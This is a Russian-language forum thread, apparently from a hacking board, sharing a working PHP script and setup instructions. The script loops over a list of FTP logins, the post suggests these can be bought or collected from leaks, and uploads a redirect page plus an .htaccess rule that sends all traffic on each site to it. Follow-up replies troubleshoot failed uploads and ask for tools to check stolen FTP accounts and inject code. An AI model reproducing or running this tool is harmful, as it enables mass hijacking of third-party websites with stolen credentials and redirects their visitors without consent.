Описание: Скрипт обходит лист с фтп, заливает страницу с редиректом и .htaccess, который перенаправляет все обращения к сайту на скрипт редиректа. Установка: Лист с фтп должен быть вида(ftp.txt): Сам скрипт: PHP: <?php set_time_limit(0); ob_implicit_flush(); $ftps = file('ftp.txt'); #Лист с FTP $namef = 'index.html'; #Файл для загрузки $limit = count($ftps); #Кол-во фтп для закачки(в данном случае все) $sleep = 1; #Задержка в секундах $f2load = fopen($namef,'r'); $ht = fopen('1.htaccess','r'); $count = 0; #Кол-во валидных FTP. foreach($ftps as $ftp) { #если достигнут лимит фрейма, то завершаем цикл if($limit == $count) { break; } $ftp = trim($ftp); $link = $ftp."/$namef"; $ch = curl_init($link); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_UPLOAD,1); curl_setopt($ch,CURLOPT_INFILE,$f2load); curl_setopt($ch,CURLOPT_FTPASCII,1); curl_exec($ch); curl_setopt($ch,CURLOPT_URL,$ftp.'/.htaccess'); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_UPLOAD,1); curl_setopt($ch,CURLOPT_INFILE,$ht); curl_setopt($ch,CURLOPT_FTPASCII,1); curl_exec($ch); curl_close($ch); write('<a href="'.$link.'" target="_blank">[Ссылка]</a> до файла на '.$ftp.''); $count++; #прибавляем кол-во обработанных фтп sleep($sleep); } echo 'Обработано: '.$count.' ftp'; fclose($f2load); fclose($ht); function write($text) { echo $text.'<br>'; flush(); ob_flush(); } ?> Необходимо создать в папке cо скриптом текстовый документ 1.htaccess следующего содержания: PHP: RewriteEngine on RewriteRule ^(.*)$ index.html И еще один файл index.html с кодом редиректа. Пример: Требует наличия cURL на сервере. Подойдет WAMPSERVER с включенным cURL. P.S FTP можно купить, можно насобирать в раздачах. P.P.S аналогичная программа продается за 200 wmz =)
Чаак ты сам тестил его? У меня если в списке больше 20 фтп то не заливает хз чё такое=\ Какую оптимальную ставить задержку?
Короче трабл в том что не на каждое фтп заливается файл хз почему =\ фтп валидное=\ Если сам отчекаю (т.е. выберу более ли менее нормальные хосты) фтп то тогда нормально льёт...
может у кого-то есть прога, которая чекает фтп и заливает нужный код в хтесс или хотя бы эти проги по отдельности, чтоб эту не пришлось модернизировать заранее благодарен